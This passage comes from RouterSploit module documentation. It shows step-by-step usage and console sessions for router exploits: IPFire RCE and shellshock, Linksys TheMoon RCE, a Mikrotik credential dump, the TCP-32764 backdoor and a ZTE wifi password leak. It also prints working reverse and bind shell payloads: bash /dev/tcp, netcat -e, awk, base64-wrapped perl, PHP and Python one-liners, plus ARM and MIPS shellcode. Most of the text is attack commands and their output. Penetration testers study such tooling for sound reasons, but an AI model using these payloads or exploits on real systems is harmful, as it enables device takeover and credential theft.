executing commands on operating system level. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/ipfire/ipfire_proxy_rce` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If router is vulnerable, it should be possible to execute commands on operating system level. 6. Do: `set payload awk_reverse_tcp` 7. Do: `set lhost [AttackerIP]` 8. Do: `run` 9. Payload is sent to device and executed providing attacker with the command shell. ## Scenarios ``` rsf > use exploits/routers/ipfire/ipfire_proxy_rce rsf (IPFire Proxy RCE) > set target 192.168.2.88 [+] target => 192.168.2.88 rsf (IPFire Proxy RCE) > run [*] Running module... [+] Target is vulnerable [*] Invoking command loop... [+] Welcome to cmd. Commands are sent to the target via the execute method. [*] For further exploitation use 'show payloads' and 'set payload ' commands. cmd > uname -a [*] Executing 'uname -a' on the device... Linux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux cmd > show payloads [*] Available payloads: Payload Name Description ------- ---- ----------- awk_bind_udp Awk Bind UDP Creates an interactive udp bind shell by using (g)awk. awk_bind_tcp Awk Bind TCP Creates an interactive tcp bind shell by using (g)awk. awk_reverse_tcp Awk Reverse TCP Creates an interactive tcp reverse shell by using (g)awk. cmd > set payload awk_reverse_tcp cmd (Awk Reverse TCP) > show options Payload Options: Name Current settings Description ---- ---------------- ----------- lhost Connect-back IP address lport 5555 Connect-back TCP Port encoder Encoder cmd awk Awk binary cmd (Awk Reverse TCP) > set lhost 192.168.2.100 lhost => 192.168.2.100 cmd (Awk Reverse TCP) > run [*] Executing payload on the device [*] Waiting for reverse shell... [*] Connection from 192.168.2.88:44168 [+] Enjoy your shell uname -a Linux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux whoami nobody id uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody) ``` routersploit-master/docs/modules/exploits/routers/ipfire/ipfire_shellshock.md000066400000000000000000000056341400750623600304040ustar00rootroot00000000000000## Description Exploits shellshock vulnerability in IPFire <= 2.15 Core Update 82. If the target is vulnerable it is possible to execute commands on operating system level. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/ipfire/ipfire_shellshock` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If router is vulnerable, it should be possible to execute commands on operating system level. 6. Do: `set payload awk_reverse_tcp` 7. Do: `set lhost [AttackerIP]` 8. Do: `run` 9. Payload is sent to device and executed providing attacker with the command shell. ## Scenarios ``` rsf > use exploits/routers/ipfire/ipfire_proxy_rce rsf (IPFire Proxy RCE) > set target 192.168.2.88 [+] target => 192.168.2.88 rsf (IPFire Proxy RCE) > show options Target options: Name Current settings Description ---- ---------------- ----------- ssl true SSL enabled: true/false target 192.168.2.88 Target IPv4 or IPv6 address port 444 Target HTTP port Module options: Name Current settings Description ---- ---------------- ----------- verbosity true Verbosity enabled: true/false username admin Username to log in with password admin Password to log in with rsf (IPFire Proxy RCE) > run [*] Running module... [+] Target is vulnerable [*] Invoking command loop... [+] Welcome to cmd. Commands are sent to the target via the execute method. [*] For further exploitation use 'show payloads' and 'set payload ' commands. cmd > uname -a [*] Executing 'uname -a' on the device... Linux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux cmd > show payloads [*] Available payloads: Payload Name Description ------- ---- ----------- awk_bind_udp Awk Bind UDP Creates an interactive udp bind shell by using (g)awk. awk_bind_tcp Awk Bind TCP Creates an interactive tcp bind shell by using (g)awk. awk_reverse_tcp Awk Reverse TCP Creates an interactive tcp reverse shell by using (g)awk. cmd > set payload awk_reverse_tcp cmd (Awk Reverse TCP) > show options Payload Options: Name Current settings Description ---- ---------------- ----------- lhost Connect-back IP address lport 5555 Connect-back TCP Port encoder Encoder cmd awk Awk binary cmd (Awk Reverse TCP) > set lhost 192.168.2.100 lhost => 192.168.2.100 cmd (Awk Reverse TCP) > run [*] Executing payload on the device [*] Waiting for reverse shell... [*] Connection from 192.168.2.88:48775 [+] Enjoy your shell id uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody) ``` routersploit-master/docs/modules/exploits/routers/linksys/000077500000000000000000000000001400750623600245735ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/routers/linksys/eseries_themoon_rce.md000066400000000000000000000036621400750623600311450ustar00rootroot00000000000000## Description This module exploits remote code execution vulnerability in multiple Linksys E-Series devices. Vulnerability was actively used by TheMoon worm. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/linksys/eseries_themoon_rce` 3. Do `uset target [TargetIP]` 4. Do `run` 5. If router is vulnerable, it should be possible to execute commands on operating system level. 6. Do `set payload reverse_tcp` 7. Do `set lhost [AttackerIP]` 8. Do `run` 9. Payload is sent to device and executed providing attacker with the command shell. ## Scenarios ``` rsf > use exploits/routers/linksys/eseries_themoon_rce rsf (Linksys E-Series TheMoon RCE) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Linksys E-Series TheMoon RCE) > run [*] Running module... [+] Target appears to be vulnerable [+] Welcome to cmd. Commands are sent to the target via the execute method. [*] For further exploitation use 'show payloads' and 'set payload ' commands. cmd > show payloads [*] Available payloads: Payload Name Description ------- ---- ----------- bind_tcp MIPSBE Bind TCP Creates interactive tcp bind shell for MIPSBE architecture. reverse_tcp MIPSBE Reverse TCP Creates interactive tcp reverse shell for MIPSBE architecture. cmd > set payload reverse_tcp cmd (MIPSBE Reverse TCP) > show options Payload Options: Name Current settings Description ---- ---------------- ----------- lhost Connect-back IP address lport 5555 Connect-back TCP Port cmd (MIPSBE Reverse TCP) > set lhost 192.168.1.4 lhost => 192.168.1.4 cmd (MIPSBE Reverse TCP) > run [*] Using wget method [*] Using wget to download binary [*] Executing payload on the device [*] Waiting for reverse shell... [*] Connection from 192.168.1.1:41933 [+] Enjoy your shell ``` routersploit-master/docs/modules/exploits/routers/mikrotik/000077500000000000000000000000001400750623600247305ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure.md000066400000000000000000000016441400750623600346030ustar00rootroot00000000000000## Description Module bypass authentication through WinBox service in Mikrotik devices version from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) and retrieves administrative credentials. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If device is vulnerable administrative credentials are returned. ## Scenarios ``` rsf > use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure rsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > run [*] Running module... [*] Connection established [+] Target seems to be vulnerable [*] Dumping credentials Username Password -------- -------- user1 test admin admin admin admin ``` routersploit-master/docs/modules/exploits/routers/multi/000077500000000000000000000000001400750623600242315ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/routers/multi/tcp_32764_info_disclosure.md000066400000000000000000000015171400750623600313610ustar00rootroot00000000000000## Description Module exploits backdoor functionality that allows fetching credentials for administrator user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/multi/tcp_32764_info_disclosure` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If device is vulnerable administrative credentials are returned. ## Scenarios ``` rsf > use exploits/routers/multi/tcp_32764_info_disclosure rsf (TCP-32764 Info Disclosure) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (TCP-32764 Info Disclosure) > run [*] Running module... [+] Target is vulnerable [*] Connection established Parameter Value --------- ----- http_username admin http_password admin pppoe_username username pppoe_password 1234567890 pppoa_username Guest log_login 0 ``` routersploit-master/docs/modules/exploits/routers/multi/tcp_32764_rce.md000066400000000000000000000015301400750623600267360ustar00rootroot00000000000000## Description Module exploits backdoor functionality that allows executing commands on operating system level. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/multi/tcp_32764_rce` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If device is vulnerable it is possible to execute commands on operating system level. ## Scenarios ``` rsf > use exploits/routers/multi/tcp_32764_rce rsf (TCP-32764 RCE) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (TCP-32764 RCE) > run [*] Running module... [+] Target is vulnerable [*] Invoking command loop... [+] Welcome to cmd. Commands are sent to the target via the execute method. [*] For further exploitation use 'show payloads' and 'set payload ' commands. cmd > echo test [*] Executing 'echo test' on the device... [*] Connection established test cmd > ``` routersploit-master/docs/modules/exploits/routers/zte/000077500000000000000000000000001400750623600237015ustar00rootroot00000000000000routersploit-master/docs/modules/exploits/routers/zte/zxhn_h108n_wifi_password_disclosure.md000066400000000000000000000014761400750623600333340ustar00rootroot00000000000000## Description Module exploits wifi password disclosure vulnerability that allows to retrieve password for wifi connection. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/zte/zxhn_h108n_wifi_password_disclosure` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If device is vulnerable ssid and wifi password is retrieved. ## Scenarios ``` rsf > use exploits/routers/zte/zxhn_h108n_wifi_password_disclosure rsf (ZTE ZXHN H108N Wifi Password Disclosure) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (ZTE ZXHN H108N Wifi Password Disclosure) > run [*] Running module exploits/routers/zte/zxhn_h108n_wifi_password_disclosure... [+] Target is vulnerable [*] Discovered information: Parameter Value --------- ----- SSID Name SSID Name Password Password ``` routersploit-master/docs/modules/generic/000077500000000000000000000000001400750623600211415ustar00rootroot00000000000000routersploit-master/docs/modules/generic/upnp/000077500000000000000000000000001400750623600221235ustar00rootroot00000000000000routersploit-master/docs/modules/generic/upnp/ssdp_msearch.md000066400000000000000000000012671400750623600251260ustar00rootroot00000000000000## Description Module sends M-SEARCH request to target and retrieve information from UPnP enabled systems. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use generic/upnp/ssdp_msearch` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If target supports UPnP information are retrieved. ## Scenarios ``` rsf > use generic/upnp/ssdp_msearch rsf (SSDP M-SEARCH Info Discovery) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (SSDP M-SEARCH Info Discovery) > run [*] Running module... [*] 192.168.1.1:1900 | Custom/1.0 UPnP/1.0 Proc/Ver | http://192.168.1.1:5431/dyndev/uuid:ec2280e5-e804-04e8-e580-22ec22e50400 | uuid:ec2280e5-e804-04e8-e580-22ec22e50400::upnp:rootdevice ``` routersploit-master/docs/modules/payloads/000077500000000000000000000000001400750623600213415ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/armle/000077500000000000000000000000001400750623600224415ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/armle/bind_tcp.md000066400000000000000000000032171400750623600245500ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell for ARMLE architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/armle/bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates armle bind shell tcp payload ## Scenarios ``` rsf > use payloads/armle/bind_tcp rsf (ARMLE Bind TCP) > set rport 4321 [+] rport => 4321 rsf (ARMLE Bind TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x06\x20\xa0\xe3\x07\x00\x2d" "\xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0" "\x8d\xe2\x00\x60\xa0\xe1\xe1\x10\xa0\xe3\x10\x70\xa0\xe3\x01" "\x1c\xa0\xe1\x07\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0" "\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x07\x00\x2d" "\xe9\x02\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x14\xd0" "\x8d\xe2\x06\x00\xa0\xe1\x03\x00\x2d\xe9\x04\x00\xa0\xe3\x0d" "\x10\xa0\xe1\x66\x00\x90\xef\x08\xd0\x8d\xe2\x06\x00\xa0\xe1" "\x01\x10\x41\xe0\x02\x20\x42\xe0\x07\x00\x2d\xe9\x05\x00\xa0" "\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\x00\x60" "\xa0\xe1\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x00\x90\xef\x01" "\x10\x51\xe2\xfb\xff\xff\x5a\x04\x10\x4d\xe2\x02\x20\x42\xe0" "\x2f\x30\xa0\xe3\x62\x70\xa0\xe3\x07\x34\x83\xe0\x69\x70\xa0" "\xe3\x07\x38\x83\xe0\x6e\x70\xa0\xe3\x07\x3c\x83\xe0\x2f\x40" "\xa0\xe3\x73\x70\xa0\xe3\x07\x44\x84\xe0\x68\x70\xa0\xe3\x07" "\x48\x84\xe0\x73\x50\xa0\xe3\x68\x70\xa0\xe3\x07\x54\x85\xe0" "\x3e\x00\x2d\xe9\x08\x00\x8d\xe2\x00\x10\x8d\xe2\x04\x20\x8d" "\xe2\x0b\x00\x90\xef" ) ``` routersploit-master/docs/modules/payloads/armle/reverse_tcp.md000066400000000000000000000016671400750623600253160ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell for ARMLE architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/armle/reverse_tcp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Module generates armle reverse shell tcp payload ## Scenarios ``` rsf > rsf > use payloads/armle/reverse_tcp rsf (ARMLE Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (ARMLE Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (ARMLE Reverse TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\x0f" "\x02\x19\x37\x01\xdf\x06\x1c\x08\xa1\x10\x22\x02\x37\x01\xdf" "\x3f\x27\x02\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x05\xa0\x92" "\x1a\x05\xb4\x69\x46\x0b\x27\x01\xdf\xc0\x46\x02\x00\x10\xe1" "\xc0\xa8\x01\x04\x2f\x62\x69\x6e\x2f\x73\x68\x00" ) ``` routersploit-master/docs/modules/payloads/cmd/000077500000000000000000000000001400750623600221045ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/cmd/awk_bind_tcp.md000066400000000000000000000010641400750623600250530ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell by using awk one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/awk_bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates awk tcp bind shell payload. ## Scenarios ``` rsf > use payloads/cmd/awk_bind_tcp rsf (Awk Bind TCP) > set rport 4321 [+] rport => 4321 rsf (Awk Bind TCP) > run [*] Running module... [*] Generating payload awk 'BEGIN{s="/inet/tcp/4321/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' ``` routersploit-master/docs/modules/payloads/cmd/awk_bind_udp.md000066400000000000000000000010511400750623600250510ustar00rootroot00000000000000## Description Module generates payload that creates interactive udp bind shell by using awk. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/awk_bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates awk udp bind shell payload ## Scenarios ``` rsf > use payloads/cmd/awk_bind_udp rsf (Awk Bind UDP) > set rport 4321 [+] rport => 4321 rsf (Awk Bind UDP) > run [*] Running module... [*] Generating payload awk 'BEGIN{s="/inet/udp/4321/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' ``` routersploit-master/docs/modules/payloads/cmd/awk_reverse_tcp.md000066400000000000000000000012701400750623600256110ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell by using awk one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/awk_reverse_tcp` 3. Do: `set lhost 192.168.1.3` 4. Do: `set lport 4321` 5. Do: `run` 6. Module generates awk tcp reverse shell payload ## Scenarios ``` rsf > use payloads/cmd/awk_reverse_tcp rsf (Awk Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (Awk Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (Awk Reverse TCP) > run [*] Running module... [*] Generating payload awk 'BEGIN{s="/inet/tcp/0/192.168.1.4/4321";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)};' ``` routersploit-master/docs/modules/payloads/cmd/bash_reverse_tcp.md000066400000000000000000000011751400750623600257500ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell by using bash one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/bash_reverse_tcp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Do: `run` 6. Module generates bash tcp reverse shell payload ## Scenarios ``` rsf > use payloads/cmd/bash_reverse_tcp rsf (Bash Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (Bash Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (Bash Reverse TCP) > run [*] Running module... [*] Generating payload bash -i >& /dev/tcp/192.168.1.4/4321 0>&1 ``` routersploit-master/docs/modules/payloads/cmd/netcat_bind_tcp.md000066400000000000000000000007751400750623600255570ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell by using netcat one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/netcat_bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates netcat tcp bind shell payload. ## Scenarios ``` rsf > use payloads/cmd/netcat_bind_tcp rsf (Netcat Bind TCP) > set rport 4321 [+] rport => 4321 rsf (Netcat Bind TCP) > run [*] Running module... [*] Generating payload nc -lvp 4321 -e /bin/sh ``` routersploit-master/docs/modules/payloads/cmd/netcat_reverse_tcp.md000066400000000000000000000012001400750623600262760ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell by using netcat one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/netcat_reverse_tcp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Do: `run` 6. Module generates netcat tcp reverse shell payload ## Scenarios ``` rsf > use payloads/cmd/netcat_reverse_tcp rsf (Netcat Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (Netcat Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (Netcat Reverse TCP) > run [*] Running module... [*] Generating payload nc 192.168.1.4 4321 -e /bin/sh ``` routersploit-master/docs/modules/payloads/cmd/perl_bind_tcp.md000066400000000000000000000015021400750623600252300ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell by using perl one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/perl_bind_udp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates perl tcp bind shell payload. ## Scenarios ``` rsf > use payloads/cmd/perl_bind_tcp rsf (Perl Bind TCP One-Liner) > set rport 4321 [+] rport => 4321 rsf (Perl Bind TCP One-Liner) > run [*] Running module... [*] Generating payload perl -MIO -e "use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));" ``` routersploit-master/docs/modules/payloads/cmd/perl_reverse_tcp.md000066400000000000000000000016721400750623600257770ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell by using perl one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/perl_reverse_tcp` 3. Do: `set lhost 192.168.1.3` 4. Do: `set lport 4321` 5. Do: `run` 6. Module generates perl tcp reverse shell payload ## Scenarios ``` rsf > use payloads/cmd/perl_reverse_tcp rsf (Perl Reverse TCP One-Liner) > set lhost 192.168.1.3 [+] lhost => 192.168.1.3 rsf (Perl Reverse TCP One-Liner) > set lport 4321 [+] lport => 4321 rsf (Perl Reverse TCP One-Liner) > run [*] Running module... [*] Generating payload perl -MIO -e "use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjEuMzo0MzIxIik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3doaWxlKDw+KXtpZigkXz1+IC8oLiopLyl7c3lzdGVtICQxO319Ow=='));" ``` routersploit-master/docs/modules/payloads/cmd/php_bind_tcp.md000066400000000000000000000015741400750623600250660ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell by using php one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/php_bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates php tcp bind shell payload ## Scenarios ``` rsf > use payloads/cmd/php_bind_tcp rsf (PHP Bind TCP One-Liner) > set rport 4321 [+] rport => 4321 rsf (PHP Bind TCP One-Liner) > run [*] Running module... [*] Generating payload php -r "eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));" ``` routersploit-master/docs/modules/payloads/cmd/php_reverse_tcp.md000066400000000000000000000014541400750623600256220ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell by using php one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/php_reverse_tcp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Do: `run` 6. Module generates php tcp reverse shell payload ## Scenarios ``` rsf > use payloads/cmd/php_reverse_tcp rsf (PHP Reverse TCP One-Liner) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (PHP Reverse TCP One-Liner) > set lport 4321 [+] lport => 4321 rsf (PHP Reverse TCP One-Liner) > run [*] Running module... [*] Generating payload php -r "eval(base64_decode('JHM9ZnNvY2tvcGVuKCJ0Y3A6Ly8xOTIuMTY4LjEuNCIsNDMyMSk7d2hpbGUoIWZlb2YoJHMpKXtleGVjKGZnZXRzKCRzKSwkbyk7JG89aW1wbG9kZSgiXG4iLCRvKTskby49IlxuIjtmcHV0cygkcywkbyk7fQ=='));" ``` routersploit-master/docs/modules/payloads/cmd/python_bind_tcp.md000066400000000000000000000016201400750623600256100ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell by using python one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/python_bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates python tcp bind shell payload ## Scenarios ``` rsf > use payloads/cmd/python_bind_tcp rsf (Python Reverse TCP One-Liner) > set rport 4321 [+] rport => 4321 rsf (Python Reverse TCP One-Liner) > run [*] Running module... [*] Generating payload python -c "exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))" ``` routersploit-master/docs/modules/payloads/cmd/python_bind_udp.md000066400000000000000000000016221400750623600256140ustar00rootroot00000000000000## Description Module generates payload that creates interactive udp bind shell by using python one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/python_bind_udp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates python udp bind shell payload ## Scenarios ``` rsf > use payloads/cmd/python_bind_udp rsf (Python Bind UDP One-Liner) > set rport 4321 [+] rport => 4321 rsf (Python Bind UDP One-Liner) > run [*] Running module... [*] Generating payload python -c "exec('ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbixQSVBFCmZyb20gc29ja2V0IGltcG9ydCBzb2NrZXQsIEFGX0lORVQsIFNPQ0tfREdSQU0Kcz1zb2NrZXQoQUZfSU5FVCxTT0NLX0RHUkFNKQpzLmJpbmQoKCcwLjAuMC4wJyw0MzIxKSkKd2hpbGUgMToKCWRhdGEsYWRkcj1zLnJlY3Zmcm9tKDEwMjQpCglvdXQ9UG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1QSVBFLHN0ZGVycj1QSVBFKS5jb21tdW5pY2F0ZSgpCglzLnNlbmR0bygnJy5qb2luKFtvdXRbMF0sb3V0WzFdXSksYWRkcikK'.decode('base64'))" ``` routersploit-master/docs/modules/payloads/cmd/python_reverse_tcp.md000066400000000000000000000017011400750623600263470ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell by using python one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/python_reverse_tcp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Do: `run` 6. Module generates python udp reverse shell payload ## Scenarios ``` rsf > use payloads/cmd/python_reverse_tcp rsf (Python Reverse TCP One-Liner) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (Python Reverse TCP One-Liner) > set lport 4321 [+] lport => 4321 rsf (Python Reverse TCP One-Liner) > run [*] Running module... [*] Generating payload python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJzE5Mi4xNjguMS40Jyw0MzIxKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk='.decode('base64'))" ``` routersploit-master/docs/modules/payloads/cmd/python_reverse_udp.md000066400000000000000000000017111400750623600263520ustar00rootroot00000000000000## Description Module generates payload that creates interactive udp reverse shell by using python one-liner. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/cmd/python_reverse_udp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Do: `run` 6. Module generates python udp reverse shell payload ## Scenarios ``` rsf > use payloads/cmd/python_reverse_udp rsf (Python Reverse UDP One-Liner) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (Python Reverse UDP One-Liner) > set lport 4321 [+] lport => 4321 rsf (Python Reverse UDP One-Liner) > run [*] Running module... [*] Generating payload python -c "exec('aW1wb3J0IG9zCmltcG9ydCBwdHkKaW1wb3J0IHNvY2tldApzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX0RHUkFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjEuNCcsNDMyMSkpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIpCnB0eS5zcGF3bignL2Jpbi9zaCcpOwpzLmNsb3NlKCkK'.decode('base64'))" ``` routersploit-master/docs/modules/payloads/mipsbe/000077500000000000000000000000001400750623600226205ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/mipsbe/bind_tcp.md000066400000000000000000000030271400750623600247260ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell for MIPSBE architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/mipsbe/bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates mipsbe bind shell tcp payload ## Scenarios ``` rsf > use payloads/mipsbe/bind_tcp rsf (MIPSBE Bind TCP) > set rport 4321 [+] rport => 4321 rsf (MIPSBE Bind TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28" "\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x30\x50" 